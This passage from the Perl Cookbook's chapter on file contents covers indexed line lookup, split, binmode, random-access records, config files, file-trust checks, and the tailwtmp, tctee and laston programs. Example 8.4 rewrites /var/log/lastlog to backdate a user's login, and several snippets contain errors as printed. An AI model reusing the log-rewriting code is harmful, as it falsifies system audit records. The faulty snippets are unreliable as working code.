        $offset = tell($data_file);
    }
}

# usage: line_with_index(*DATA_HANDLE, *INDEX_HANDLE, $LINE_NUMBER)
# returns line or undef if LINE_NUMBER was out of range
sub line_with_index {
    my $data_file   = shift;
    my $index_file  = shift;
    my $line_number = shift;

    my $size;               # size of an index entry
    my $i_offset;           # offset into the index of the entry
    my $entry;              # index entry
    my $d_offset;           # offset into the data file

    $size = length(pack("N", 0));
    $i_offset = $size * ($line_number-1);
    seek($index_file, $i_offset, 0) or return;
    read($index_file, $entry, $size);
    $d_offset = unpack("N", $entry);
    seek($data_file, $d_offset, 0);
    return scalar(<$data_file>);
}

# usage:
open(FILE, "< $file")         or die "Can't open $file for reading: $!\n";
open(INDEX, "+>$file.idx")
        or die "Can't open $file.idx for read/write: $!\n";
build_index(*FILE, *INDEX);
$line = line_with_index(*FILE, *INDEX, $seeking);

If you have the DB_File module, its DB_RECNO access method ties an array to a file, one line per array element:

use DB_File;
use Fcntl;

$tie = tie(@lines, $FILE, "DB_File", O_RDWR, 0666, $DB_RECNO) or die
    "Cannot open file $FILE: $!\n";
# extract it
$line = $lines[$sought-1];

Discussion

Each strategy has different features, useful in different circumstances. The linear access approach is easy to write and best for short files. The index method gives quick two-step lookup, but requires that the index be pre-built, so it is best when the file being indexed doesn't change often compared to the number of lookups. The DB_File mechanism has some initial overhead, but subsequent accesses are much faster than with linear access, so use it for long files that are accessed more than once and are accessed out of order.

It is important to know whether you're counting lines from 0 or 1. The $. variable is 1 after the first line is read, so count from 1 when using linear access. The index mechanism uses lots of offsets, so count from 0. DB_File treats the file's records as an array indexed from 0, so count lines from 0.

Here are three different implementations of the same program, print_line. The program takes two arguments, a filename, and a line number to extract.

The version in Example 8.1 simply reads lines until it finds the one it's looking for.

Example 8.1: print_line-v1

#!/usr/bin/perl -w
# print_line-v1 - linear style

@ARGV == 2 or die "usage: print_line FILENAME LINE_NUMBER\n";

($filename, $line_number) = @ARGV;
open(INFILE, "< $filename") or die "Can't open $filename for reading: $!\n";
while (<INFILE>) {
    $line = $_;
    last if $. == $line_number;
}
if ($. != $line_number) {
    die "Didn't find line $line_number in $filename\n";
}
print;

The index version in Example 8.2 must build an index. For many lookups, you could build the index once and then use it for all subsequent lookups:

Example 8.2: print_line-v2

#!/usr/bin/perl -w
# print_line-v2 - index style
# build_index and line_with_index from above
@ARGV == 2 or
    die "usage: print_line FILENAME LINE_NUMBER";

($filename, $line_number) = @ARGV;
open(ORIG, "< $filename")
        or die "Can't open $filename for reading: $!";

# open the index and build it if necessary
# there's a race condition here: two copies of this
# program can notice there's no index for the file and
# try to build one.  This would be easily solved with
# locking
$indexname = "$filename.index";
sysopen(IDX, $indexname, O_CREAT|O_RDWR)
         or die "Can't open $indexname for read/write: $!";
build_index(*ORIG, *IDX) if -z $indexname;  # XXX: race unless lock

$line = line_with_index(*ORIG, *IDX, $line_number);
die "Didn't find line $line_number in $filename" unless defined $line;
print $line;

The DB_File version in Example 8.3 is indistinguishable from magic.

Example 8.3: print_line-v3

#!/usr/bin/perl -w
# print_line-v3 - DB_File style
use DB_File;
use Fcntl;

@ARGV == 2 or
    die "usage: print_line FILENAME LINE_NUMBER\n";

($filename, $line_number) = @ARGV;
$tie = tie(@lines, "DB_File", $filename, O_RDWR, 0666, $DB_RECNO)
        or die "Cannot open file $filename: $!\n";

unless ($line_number < $tie->length) {
    die "Didn't find line $line_number in $filename\n"
}

print $lines[$line_number-1];                        # easy, eh?

See Also

The documentation for the standard DB_File module (also in Chapter 7 of Programming Perl ); the tie function in perlfunc (1) and in Chapter 3 of Programming Perl; the entry on $. in perlvar (1) and in the "Special Variables" section of Chatper 2 of Programming Perl

Previous: 8.7. Randomizing All Lines | Perl Cookbook | Next: 8.9. Processing Variable-Length Text Fields
8.7. Randomizing All Lines | Book Index | 8.9. Processing Variable-Length Text Fields


Recipe 8.9. Processing Variable-Length Text Fields

Perl CookbookSearch this book

8.9. Processing Variable-Length Text Fields

Problem

You want to extract variable length fields from your input.

Solution

Use split with a pattern matching the field separators.

# given $RECORD with field separated by PATTERN,
# extract @FIELDS.
@FIELDS = split(/PATTERN/, $RECORD);

Discussion

The split function takes up to three arguments: PATTERN, EXPRESSION, and LIMIT. The LIMIT parameter is the maximum number of fields to split into. (If the input contains more fields, they are returned unsplit in the final list element.) If LIMIT is omitted, all fields (except any final empty ones) are returned. EXPRESSION gives the string value to split. If EXPRESSION is omitted, $_ is split. PATTERN is a pattern matching the field separator. If PATTERN is omitted, contiguous stretches of whitespace are used as the field separator and leading empty fields are silently discarded.

If your input field separator isn't a fixed string, you might want split to return the field separators as well as the data by using parentheses in PATTERN to save the field separators. For instance:

split(/([+-])/, "3+5-2");

returns the values:

(3, '+', 5, '-', 2)

To split colon-separated records in the style of the /etc/passwd file, use:

@fields = split(/:/, $RECORD);

The classic application of split is whitespace-separated records:

@fields = split(/\s+/, $RECORD);

If $RECORD started with whitespace, this last use of split would have put an empty string into the first element of @fields because split would consider the record to have an initial empty field. If you didn't want this, you could use this special form of split:

@fields = split(" ", $RECORD);

This behaves like split with a pattern of /\s+/, but ignores leading whitespace.

When the record separator can appear in the record, you have a problem. The usual solution is to escape occurrences of the record separator in records by prefixing them with a backslash. See Recipe 1.13.

See Also

The split function in perlfunc (1) and in Chapter 3 of Programming Perl

Previous: 8.8. Reading a Particular Line in a File | Perl Cookbook | Next: 8.10. Removing the Last Line of a File
8.8. Reading a Particular Line in a File | Book Index | 8.10. Removing the Last Line of a File


Recipe 8.10. Removing the Last Line of a File

Perl CookbookSearch this book

8.10. Removing the Last Line of a File

Problem

You'd like to remove the last line from a file.

Solution

Read the file a line at a time and keep track of the byte address of the last line you've seen. When you've exhausted the file, truncate to the last address you saved:

open (FH, "+< $file")               or die "can't update $file: $!";
while ( <FH> ) {
    $addr = tell(FH) unless eof(FH);
}
truncate(FH, $addr)                 or die "can't truncate $file: $!";

Discussion

This is much more efficient than reading the file into memory all at once, since it only holds one line at a time. Although you still have to grope your way through the whole file, you can use this program on files larger than available memory.

See Also

The open and binmode functions in perlfunc (1) and in Chapter 3 of Programming Perl; your system's open (2) and fopen (3) manpages

Previous: 8.9. Processing Variable-Length Text Fields | Perl Cookbook | Next: 8.11. Processing Binary Files
8.9. Processing Variable-Length Text Fields | Book Index | 8.11. Processing Binary Files


Recipe 8.11. Processing Binary Files

Perl CookbookSearch this book

8.11. Processing Binary Files

Problem

Your system distinguishes between text and binary files. How do you?

Solution

Use the binmode function on the filehandle:

binmode(HANDLE);

Discussion

Not everyone agrees what constitutes a line in a text file, because one person's textual character set is another's binary gibberish. Even when everyone is using ASCII instead of EBCDIC, Rad50, or Unicode, discrepancies arise.

As mentioned in the Introduction, there is no such thing as a newline character. It is purely virtual, a figment of the operating system, standard libraries, device drivers, and Perl.

Under Unix or Plan9, a "\n" represents the physical sequence "\cJ" (the Perl double-quote escape for Ctrl-J), a linefeed. However, on a terminal that's not in raw mode, an Enter key generates an incoming "\cM" (a carriage return) which turns into "\cJ", whereas an outgoing "\cJ" turns into "\cM\cJ". This strangeness doesn't happen with normal files, just terminal devices, and it is handled strictly by the device driver.

On a Mac, a "\n" is usually represented by "\cM"; just to make life interesting (and because the standard requires that "\n" and "\r" be different), a "\r" represents a "\cJ". This is exactly the opposite of the way that Unix, Plan9, VMS, CP/M, or nearly anyone else does it. So, Mac programmers writing files for other systems or talking over a network have to be careful. If you send out "\n", you'll deliver a "\cM", and no "\cJ" will be seen. Most network services prefer to receive and send "\cM\cJ" as a line terminator, but most accept merely a "\cJ".

Under VMS, DOS, or their derivatives, a "\n" represents "\cJ", similar to Unix and Plan9. From the perspective of a tty, Unix and DOS behave identically: a user who hits Enter generates a "\cM", but this arrives at the program as a "\n", which is "\cJ". A "\n" (that's a "\cJ", remember) sent to a terminal shows up as a "\cM\cJ".

These strange conversions happen to Windows files as well. A DOS text file actually physically contains two characters at the end of every line, "\cM\cJ". The last block in the file has a "\cZ" to indicate where the text stops. When you write a line like "bad news\n" on those systems, the file contains "bad news\cM\cJ", just as if it were a terminal.

When you read a line on such systems, it's even stranger. The file itself contains "bad news\cM\cJ", a 10-byte string. When you read it in, your program gets nothing but "bad news\n", where that "\n" is the virtual newline character, that is, a linefeed ("\cJ"). That means to get rid of it, a single chop or chomp will do. But your poor program has been tricked into thinking it's only read nine bytes from the file. If you were to read 10 such lines, you would appear to have read just 90 bytes into the file, but in fact would be at position 100. That's why the tell function must always be used to determine your location. You can't infer your position just by counting what you've read.

This legacy of the old CP/M filesystem, whose equivalent of a Unix inode stored only block counts and not file sizes, has frustrated programmers for decades, and no end is in sight. Because DOS is compatible with CP/M file formats, Windows with DOS, and NT with Windows, the sins of the fathers have truly been visited unto the children of the fourth generation.

You can circumvent the single "\n" terminator by telling Perl (and the operating system) that you're working with binary data. The binmode function indicates that data read or written through the given filehandle should not be mangled the way a text file would likely be on those systems.

$gifname = "picture.gif";
open(GIF, $gifname)         or die "can't open $gifname: $!";

binmode(GIF);               # now DOS won't mangle binary input from GIF
binmode(STDOUT);            # now DOS won't mangle binary output to STDOUT

while (read(GIF, $buff, 8 * 2**10)) {
    print STDOUT $buff;
}

Calling binmode on systems that don't make this distinction (including Unix, the Mac, and Plan 9) is harmless. Inappropriately doing so (such as on a text file) on systems that do (including MVS, VMS, and DOS, regardless of its GUI ) can mangle your files.

If you're not using binmode, the data you read using stdio (<>) will automatically have the native system's line terminator changed to "\n", even if you change $/. Similarly, any "\n" you print to the filehandle will be turned into the native line terminator. See this chapter's Introduction for more details.

If you want to get what was on the disk, byte for byte, you should set binmode if you're on one of the odd systems listed above. Then, of course, you also have to set $/ to the real record separator if you want to use <> on it.

See Also

The open and binmode functions in perlfunc (1) and in Chapter 3 of Programming Perl; your system's open (2) and fopen (3) manpages

Previous: 8.10. Removing the Last Line of a File | Perl Cookbook | Next: 8.12. Using Random-Access I/O
8.10. Removing the Last Line of a File | Book Index | 8.12. Using Random-Access I/O


Recipe 8.12. Using Random-Access I/O

Perl CookbookSearch this book

8.12. Using Random-Access I/O

Problem

You have to read a binary record from the middle of a large file but don't want to read a record at a time to get there.

Solution

Once you know the record's size, multiply it by the record number to get the byte address, and then seek to that byte address and read the record:

$ADDRESS = $RECSIZE * $RECNO;
seek(FH, $ADDRESS, 0) or die "seek:$!";
read(FH, $BUFFER, $RECSIZE);

Discussion

The Solution assumes the first record has a RECNO of 0. If you're counting from one, use:

$ADDRESS = $RECSIZE * ($RECNO-1);

This won't work on a text file unless all lines are the same length. This is rarely the case.

See Also

The seek function in perlfunc (1) and in Chapter 3 of Programming Perl; Recipe 8.13

Previous: 8.11. Processing Binary Files | Perl Cookbook | Next: 8.13. Updating a Random-Access File
8.11. Processing Binary Files | Book Index | 8.13. Updating a Random-Access File


Recipe 8.13. Updating a Random-Access File

Perl CookbookSearch this book

8.13. Updating a Random-Access File

Problem

You want to read in an old record from a binary file, change its values, and write back the record.

Solution

After reading the old record, pack up the updated values, seek to the previous address, and write it back.

use Fcntl;                          # for SEEK_SET and SEEK_CUR

$ADDRESS = $RECSIZE * $RECNO;
seek(FH, $ADDRESS, SEEK_SET)        or die "Seeking: $!";
read(FH, $BUFFER, $RECSIZE) == $RECSIZE
                                    or die "Reading: $!";
@FIELDS = unpack($FORMAT, $BUFFER);
# update fields, then
$BUFFER = pack($FORMAT, @FIELDS);
seek(FH, -$RECSIZE, SEEK_CUR)       or die "Seeking: $!";
print FH $BUFFER;
close FH                            or die "Closing: $!";

Discussion

You don't have to use anything fancier than print in Perl to output a record. Remember that the opposite of read is not write but print, although oddly enough, the opposite of sysread actually is syswrite. (split and join are opposites, but there's no speak to match listen, no resurrect for kill, and no curse for bless.)

The example program shown in Example 8.4, weekearly, takes one argument: the user whose record you want to backdate by a week. (Of course, in practice, you wouldn't really want to (nor be able to!) mess with the system accounting files.) This program requires write access to the file to be updated, since it opens the file in update mode. After fetching and altering the record, it packs it up again, skips backwards in the file one record, and writes it out.

Example 8.4: weekearly

#!/usr/bin/perl
# weekearly -- set someone's login date back a week
use User::pwent;
use IO::Seekable;

$typedef = 'L A12 A16';         # linux fmt; sunos is "L A8 A16"
$sizeof  = length(pack($typedef, ()));
$user    = shift(@ARGV) || $ENV{USER} || $ENV{LOGNAME};

$address = getpwnam($user)->uid * $sizeof;

open (LASTLOG, "+</var/log/lastlog")
    or die "can't update /usr/adm/lastlog: $!";
seek(LASTLOG, $address, SEEK_SET)
    or die "seek failed: $!";
read(LASTLOG, $buffer, $sizeof) == $sizeof
    or die "read failed: $!";

($time, $line, $host) = unpack($typedef, $buffer);
$time  -= 24 * 7 * 60 * 60;         # back-date a week
$buffer = pack($typedef, $time, $line, $time);

seek(LASTLOG, -$sizeof, SEEK_CUR)   # backup one record
    or die "seek failed: $!";
print LASTLOG $record;

close(LASTLOG)
    or die "close failed: $!";

See Also

The open, seek, read, pack, and unpack functions in the perlfunc (1) and in Chapter 3 of Programming Perl; Recipe 8.12; Recipe 8.14

Previous: 8.12. Using Random-Access I/O | Perl Cookbook | Next: 8.14. Reading a String from a Binary File
8.12. Using Random-Access I/O | Book Index | 8.14. Reading a String from a Binary File


Recipe 8.14. Reading a String from a Binary File

Perl CookbookSearch this book

8.14. Reading a String from a Binary File

Problem

You want to read a NUL-terminated string from a file, starting at a particular address.

Solution

Set $/ to an ASCII NUL, and read the string with <>:

$old_rs = $/;                       # save old $/
$/ = "\0";                          # NULL
seek(FH, $addr, SEEK_SET)           or die "Seek error: $!\n";
$string = <FH>;                     # read string
chomp $string;                      # remove NULL
$/ = $old_rs;                       # restore old $/

You can use local to save and restore $/ if you want:

{
    local $/ = "\0";
    # ...
}                           # $/ is automatically restored

Discussion

The example program shown in Example 8.5, bgets, accepts a filename and one or more byte addresses as arguments. Decimal, octal, or hexadecimal addresses may be specified. For each address, the program reads and prints the NULL- or EOF-terminated string at that position:

Example 8.5: bgets

#!/usr/bin/perl
# bgets - get a string from an address in a binary file
use IO::Seekable;
($file, @addrs) = @ARGV             or die "usage: $0 addr ...";
open(FH, $file)                     or die "cannot open $file: $!";
$/ = "\000";
foreach $addr (@addrs) {
    $addr = oct $addr if $addr =~ /^0/;
    seek(FH, $addr, SEEK_SET)
        or die "can't seek to $addr in $file: $!";
    printf qq{%#x %#o %d "%s"\n}, $addr, $addr, $addr, scalar <>;
}

Here's a simple implementation of the Unix strings program:

Example 8.6: strings

#!/usr/bin/perl
# strings - pull strings out of a binary file
$/ = "\0";
while (<>) {
    while (/([\040-\176\s]{4,})/g) {
        print $1, "\n";
    }
}

See Also

The seek, getc, and ord functions in perlfunc (1) and in Chapter 3 of Programming Perl; the discussion of qq// in the "Quote and Quote-Like Operators" section of the perlop (1) manpage, and in the "Pick your own quotes" section of Chapter 2 of Programming Perl

Previous: 8.13. Updating a Random-Access File | Perl Cookbook | Next: 8.15. Reading Fixed-Length Records
8.13. Updating a Random-Access File | Book Index | 8.15. Reading Fixed-Length Records


Recipe 8.15. Reading Fixed-Length Records

Perl CookbookSearch this book

8.15. Reading Fixed-Length Records

Problem

You want to read a file whose records have a fixed length.

Solution

Use read and unpack:

# $RECORDSIZE is the length of a record, in bytes.
# $TEMPLATE is the unpack template for the record
# FILE is the file to read from
# @FIELDS is an array, one element per field

until ( eof(FILE) ) {
    read(FILE, $record, $RECORDSIZE) == $RECORDSIZE
        or die "short read\n";
    @FIELDS = unpack($TEMPLATE, $record);
}

Discussion

Because the file in question is not a text file, you can't use <FH> or IO:: modules' getline method to read in records. Instead, you must simply read a particular number of bytes into a buffer. This buffer then contains one record's data, which you decode using unpack with the right format.

For binary data, the catch is often determining the right format. If you're reading data written by a C program, this can mean peeking at C include files or manpages describing the structure layout, and this requires knowledge of C. It also requires that you become unnaturally chummy with your C compiler, because otherwise it's hard to predict field padding and alignment (such as the x2 in the format used in Recipe 8.18). If you're lucky enough to be on a Berkeley Unix system or a system supporting gcc, then you may be able to use the c2ph tool distributed with Perl to cajole your C compiler into helping you with this.

The tailwtmp program at the end of this chapter uses the format described in utmp (5) under Linux and works on its /var/log/wtmp and /var/run/utmp files. Once you commit to working in a binary format, machine dependencies creep in fast. It probably won't work unaltered on your system, but the procedure is still illustrative. Here is the relevant layout from the C include file on Linux:

#define UT_LINESIZE           12
#define UT_NAMESIZE           8
#define UT_HOSTSIZE           16

struct utmp {                       /* here are the pack template codes */
    short ut_type;                  /* s for short, must be padded      */
    pid_t ut_pid;                   /* i for integer                    */
    char ut_line[UT_LINESIZE];      /* A12 for 12-char string           */
    char ut_id[2];                  /* A2, but need x2 for alignment    */
    time_t ut_time;                 /* l for long                       */
    char ut_user[UT_NAMESIZE];      /* A8 for 8-char string             */
    char ut_host[UT_HOSTSIZE];      /* A16 for 16-char string           */
    long ut_addr;                   /* l for long                       */
};

Once you figure out the binary layout, feed that (in this case, "s x2 i A12 A2 x2 l A8 A16 l") to pack with an empty field list to determine the record's size. Remember to check the return value of read when you read in your record to make sure you got back the number of bytes you asked for.

If your records are text strings, use the "a" or "A" unpack templates.

Fixed-length records are useful in that the n th record begins at byte offset SIZE * (n-1) in the file, where SIZE is the size of a single record. See the indexing code in Recipe 8.8 for an example of this.

See Also

The unpack, pack, and read functions in perlfunc (1) and in Chapter 3 of Programming Perl; Recipe 1.1

Previous: 8.14. Reading a String from a Binary File | Perl Cookbook | Next: 8.16. Reading Configuration Files
8.14. Reading a String from a Binary File | Book Index | 8.16. Reading Configuration Files


Recipe 8.16. Reading Configuration Files

Perl CookbookSearch this book

8.16. Reading Configuration Files

Problem

You want to allow the users of your program to change its behavior through configuration files.

Solution

Either process a file in trivial VAR=VALUE format, setting a hash key-value pair for each setting:

while (<CONFIG>) {
    chomp;                  # no newline
    s/#.*//;                # no comments
    s/^\s+//;               # no leading white
    s/\s+$//;               # no trailing white
    next unless length;     # anything left?
    my ($var, $value) = split(/\s*=\s*/, $_, 2);
    $User_Preferences{$var} = $value;
}

Or better yet, treat the config file as full Perl code:

do "$ENV{HOME}/.progrc";

Discussion

The first solution lets you read in config files in a trivial format like this (comments and blank lines are allowed):

# set class C net
NETMASK = 255.255.255.0
MTU     = 296

DEVICE  = cua1
RATE    = 115200
MODE    = adaptive

After you're done, you can pull in a setting by something like $User_Preferences{"RATE"} to find the value 115200. If you wanted the config file to directly set a variable in your program using that name, instead of assigning to the hash, do this:

no strict 'refs';
$$var = $value;

and the $RATE variable would contain 115200.

The second solution uses do to pull in raw Perl code directly. When used with an expression instead of a block, do interprets the expression as a filename. This is nearly identical to using require, but without risk of taking a fatal exception. In the second format, the config file would look like:

# set class C net
$NETMASK = '255.255.255.0';
$MTU     = 0x128;
# Brent, please turn on the modem
$DEVICE  = 'cua1';
$RATE    = 115_200;
$MODE    = 'adaptive';

If you don't see the point of having extra punctuation and live code, consider this: you can have all of Perl at your disposal. You can now add arbitrary logic and tests to your simple assignments:

if ($DEVICE =~ /1$/) {
    $RATE = 28_800;
} else {
    $RATE = 115_200;
}

Many programs support system and personal configuration files. If you want the user's choices to override the system ones, load the user file second:

$APPDFLT = "/usr/local/share/myprog";

do "$APPDFLT/sysconfig.pl";
do "$ENV{HOME}/.myprogrc";

If you want to ignore the system config file when the user has their own, test the return value of the do.

do "$ENV{HOME}/.myprogrc";
    or
do "$APPDFLT/sysconfig.pl"

You might wonder what context those files will be executed under. They will be in the same package that do itself was compiled into. Typically you'll direct users to set particular variables, which, being unqualified globals, will end up in the current package. If you'd prefer unqualified variables go into a particular package, do this:

{ package Settings; do "$ENV{HOME}/.myprogrc" }

As with a file read in using require or use, those read in using do count as a separate and unrelated lexical scope. That means the configuration file can't access its caller's lexical (my) variables, nor can the caller find any such variables that might have been set in the file. It also means that the user's code isn't held accountable to a pragma like use strict or use integer that may be in effect in the caller.

If you don't want clean partitioning of variable visibility, you can get the config file's code executed in your own lexical scope. If you have a cat program or its technical equivalent handy, you could write yourself a hand-rolled do:

eval `cat $ENV{HOME}/.myprogrc`;

We've never actually seen anyone (except Larry) use that approach in production code.

For one thing, do is a lot easier to type. Also, it respects the @INC path, which is normally searched if a full path is not specified, but, unlike using a require, no implicit error checking happens under do. This means you don't have to wrap it in an eval to catch exceptions that would otherwise cause your program to die, because do already functions as an eval.

You can still check for errors on your own if you'd like:

$file = "someprog.pl";
unless ($return = do $file) {
    warn "couldn't parse $file: $@"         if $@;
    warn "couldn't do $file: $!"            unless defined $return;
    warn "couldn't run $file"               unless $return;
}

This is much simpler for the programmer to source in code than it would be to invent and then parse a complicated, new syntax. It's also much easier on the user than forcing them to learn the syntax rules of yet another configuration file. Even better, you give the user access to a powerful algorithmic programming language.

One reasonable concern is security. How do you know that the file hasn't been tampered with by someone other than the user? The traditional approach here is to do nothing, trusting the directory and file permissions. Nine times out of ten, this is also the right approach. Most projects just aren't worth being that paranoid over. For those that are, see the next recipe.

See Also

The eval and require functions in perlfunc (1) and in Chapter 3 of Programming Perl; Recipe 8.17; Recipe 10.12

Previous: 8.15. Reading Fixed-Length Records | Perl Cookbook | Next: 8.17. Testing a File for Trustworthiness
8.15. Reading Fixed-Length Records | Book Index | 8.17. Testing a File for Trustworthiness


Recipe 8.17. Testing a File for Trustworthiness

Perl CookbookSearch this book

8.17. Testing a File for Trustworthiness

Problem

You want to read from a file, perhaps because it has configuration information. You only want to use the file if it can't be written to (or perhaps not even be read from) by anyone else than its owner.

Solution

Use the stat call to retrieve ownership and file permissions information. You can use the built-in version, which returns a list:

( $dev, $ino, $mode, $nlink,
  $uid, $gid, $rdev, $size,
  $atime, $mtime, $ctime,
  $blksize, $blocks )       = stat($filename)
        or die "no $filename: $!";

$mode &= 07777;             # discard file type info

Or you can use the by-name interface in:

$info = stat($filename)     or die "no $filename: $!";
if ($info->uid == 0) {
    print "Superuser owns $filename\n";
}
if ($info->atime > $info->mtime) {
    print "$filename has been read since it was written.\n";
}

Discussion

Usually you trust users to set file permissions as they wish. If they want others to read their files, or even to write to them, that's their business. Applications like editors, mailers, and shells are often more discerning, though, refusing to evaluate code in configuration files if anyone but the owner can write to them. This helps avoid Trojan horses attacks. Security-minded programs like ftp and rlogin may even reject config files that can be read by anyone but their owner.

If the file is writable by someone other than the owner or is owned by someone other than the current user or the superuser, it shouldn't be trusted. To figure out file ownership and permissions, the stat function is used. The following function returns true if the file is deemed safe and false otherwise. If the stat fails, undef is returned.

use File::stat;

sub is_safe {
    my $path = shift;
    my $info = stat($path);
    return unless $info;

    # owner neither superuser nor me
    # the real uid is in stored in the $< variable
    if (($info->uid != 0) && ($info->uid != $<)) {
        return 0;
    }

    # check whether group or other can write file.
    # use 066 to detect either reading or writing
    if ($info->mode & 022) {   # someone else can write this
        return 0 unless -d _;  # non-directories aren't safe
            # but directories with the sticky bit (01000) are
        return 0 unless $info->mode & 01000;
    }
    return 1;
}

A directory is considered safe even if others can write to it, provided that its mode 01000 (owner delete only) bit is set.

Careful programmers also ensure that no enclosing directory is writable. This is due to systems with the "chown giveaway" problem in which any user can give away a file they own and make it owned by someone else. The following function handles that by using the is_safe function to check every enclosing directory up to the root if it detects that you have the chown problem, for which it queries the POSIX::sysconf. If you don't have an unrestricted version of chown, the is_verysafe subroutine just calls is_safe. If you do have the problem, it walks up the filesystem tree until it reaches the root.

use Cwd;
use POSIX qw(sysconf _PC_CHOWN_RESTRICTED);
sub is_verysafe {
    my $path = shift;
    return is_safe($path) if sysconf(_PC_CHOWN_RESTRICTED);
    $path = getcwd() . '/' . $path if $path !~ m{^/};
    do {
        return unless is_safe($path);
        $path =~ s#([^/]+|/)$##;               # dirname
        $path =~ s#/$## if length($path) > 1;  # last slash
    } while length $path;

    return 1;
}

To use this in a program, try something like this:

$file = "$ENV{HOME}/.myprogrc";
readconfig($file) if is_safe($file);

This has potential for a race condition, because it's presumed that the hypothetical readconfig function will open the file. Between the time when is_safe checks the file's stats and when readconfig opens it, something wicked could theoretically occur. To avoid this, pass is_safe the already open filehandle, which is set up to handle this:

$file = "$ENV{HOME}/.myprogrc";
if (open(FILE, "< $file")) {
    readconfig(*FILE) if is_safe(*FILE);
}

You would still have to arrange for readconfig to accept a filehandle instead of a filename, though.

Previous: 8.16. Reading Configuration Files | Perl Cookbook | Next: 8.18. Program: tailwtmp
8.16. Reading Configuration Files | Book Index | 8.18. Program: tailwtmp


Recipe 8.18. Program: tailwtmp

Perl CookbookSearch this book

8.18. Program: tailwtmp

Every time a user logs into or out of a Unix system, a record is added to the wtmp file. You can't use the normal tail program on it because it's in binary format. The tailwtmp program in Example 8.7 knows the format of the binary file and shows every new record as it appears. You'll have to adjust the pack format for your own system.

Example 8.7: tailwtmp

#!/usr/bin/perl
# tailwtmp - watch for logins and logouts;
# uses linux utmp structure, from utmp(5)
$typedef = 's x2 i A12 A4 l A8 A16 l';
$sizeof = length pack($typedef, () );
use IO::File;
open(WTMP, '/var/log/wtmp') or die "can't open /var/log/wtmp: $!";
seek(WTMP, 0, SEEK_END);
for (;;) {
        while (read(WTMP, $buffer, $sizeof) == $sizeof) {
        ($type, $pid,  $line, $id, $time, $user, $host, $addr)
            = unpack($typedef, $buffer);
        next unless $user && ord($user) && $time;
        printf "%1d %-8s %-12s %2s %-24s %-16s %5d %08x\n",
            $type,$user,$line,$id,scalar(localtime($time)),
            $host,$pid,$addr;
    }
    for ($size = -s WTMP; $size == -s WTMP; sleep 1) {}
    WTMP->clearerr();
}

Previous: 8.17. Testing a File for Trustworthiness | Perl Cookbook | Next: 8.19. Program: tctee
8.17. Testing a File for Trustworthiness | Book Index | 8.19. Program: tctee


Recipe 8.19. Program: tctee

Perl CookbookSearch this book

8.19. Program: tctee

Not all systems support the classic tee program for splitting output pipes to multiple destinations. This command sends the output from someprog to /tmp/output and to the mail pipe beyond.

% someprog | tee /tmp/output | Mail -s 'check this' user@host.org

This program helps not only users who aren't on Unix systems and don't have a regular tee. It also helps those who are, because it offers features not found on other version of tee.

The four flag arguments are -i to ignore interrupts, -a to append to output files, -u for unbuffered output, and -n to omit copying the output on to standard out.

Because this program uses Perl's magic open, you can specify pipes as well as files.

% someprog | tctee f1 "|cat -n" f2 ">>f3"

That sends the output from someprog to the files f1 and f2, appends it to f3, sends a copy to the program cat -n, and also produces the stream on standard output.

The program in Example 8.8 is one of many venerable Perl programs written nearly a decade ago that still runs perfectly well. If written from scratch now, we'd probably use strict, warnings, and ten to thirty thousand lines of modules. But if it ain't broke . . .

Example 8.8: tctee

#!/usr/bin/perl
# tctee - clone that groks process tees
# perl3 compatible, or better.

while ($ARGV[0] =~ /^-(.+)/ && (shift, ($_ = $1), 1)) {
    next if /^$/;
    s/i// && (++$ignore_ints, redo);
    s/a// && (++$append,      redo);
    s/u// && (++$unbuffer,    redo);
    s/n// && (++$nostdout,    redo);
    die "usage tee [-aiun] [filenames] ...\n";
}

if ($ignore_ints) {
    for $sig ('INT', 'TERM', 'HUP', 'QUIT') { $SIG{$sig} = 'IGNORE'; }
}

$SIG{'PIPE'} = 'PLUMBER';
$mode = $append ? '>>' : '>';
$fh = 'FH000';

unless ($nostdout) {
    %fh = ('STDOUT', 'standard output'); # always go to stdout
    }

$| = 1 if $unbuffer;

for (@ARGV) {
    if (!open($fh, (/^[^>|]/ && $mode) . $_)) {
        warn "$0: cannot open $_: $!\n"; # like sun's; i prefer die
        $status++;
        next;
    }
    select((select($fh), $| = 1)[0]) if $unbuffer;
    $fh{$fh++} = $_;
}

while (<STDIN>) {
    for $fh (keys %fh) {
        print $fh $_;
    }
}

for $fh (keys %fh) {
    next if close($fh) || !defined $fh{$fh};
    warn "$0: couldnt close $fh{$fh}: $!\n";
    $status++;
}

exit $status;

sub PLUMBER {
    warn "$0: pipe to \"$fh{$fh}\" broke!\n";
    $status++;
    delete $fh{$fh};
}

Previous: 8.18. Program: tailwtmp | Perl Cookbook | Next: 8.20. Program: laston
8.18. Program: tailwtmp | Book Index | 8.20. Program: laston


Recipe 8.20. Program: laston

Perl CookbookSearch this book

8.20. Program: laston

When you log in to a Unix system, it tells you when you last logged in. That information is stored in a binary file called lastlog. Each user has their own record; UID 8 is at record 8, UID 239 at record 239, and so on. To find out when a given user last logged in, convert their login name to a number, seek to their record in that file, read, and unpack. Doing so with shell tools is very hard, but it's very easy with the laston program. Here's an example:

% laston gnat
gnat  UID 314 at Mon May 25 08:32:52 1998 on ttyp0 from below.perl.com

The program in Example 8.9 is much newer than the tctee program in Example 8.8, but it's less portable. It uses the Linux binary layout of the lastlog file. You'll have to change this for other systems.

Example 8.9: laston

#!/usr/bin/perl
# laston - find out when given user last logged on
use User::pwent;
use IO::Seekable qw(SEEK_SET);

open (LASTLOG, "/var/log/lastlog") or die "can't open /usr/adm/lastlog: $!";

$typedef = 'L A12 A16';  # linux fmt; sunos is "L A8 A16"
$sizeof  = length(pack($typedef, ()));

for $user (@ARGV) {
    $U = ($user =~ /^\d+$/) ? getpwuid($user) : getpwnam($user);
    unless ($U) { warn "no such uid $user\n"; next; }
    seek(LASTLOG, $U->uid * $sizeof, SEEK_SET) or die "seek failed: $!";
    read(LASTLOG, $buffer, $sizeof) == $sizeof or next;
    ($time, $line, $host) = unpack($typedef, $buffer);
    printf "%-8s UID %5d %s%s%s\n", $U->name, $U->uid,
          $time ? ("at " . localtime($time)) : "never logged in",
          $line && " on $line",
          $host && " from $host";
}

Previous: 8.19. Program: tctee | Perl Cookbook | Next: 9. Directories
8.19. Program: tctee | Book Index | 9. Directories


[Chapter 9] Directories

Perl CookbookSearch this book
Previous: 8.20. Program: laston Chapter 9 Next: 9.1. Getting and Setting Timestamps

9. Directories

Contents:
Introduction
Getting and Setting Timestamps
Deleting a File
Copying or Moving a File
Recognizing Two Names for the Same File
Processing All Files in a Directory
Globbing, or Getting a List of Filenames Matching a Pattern
Processing All Files in a Directory Recursively
Removing a Directory and Its Contents
Renaming Files
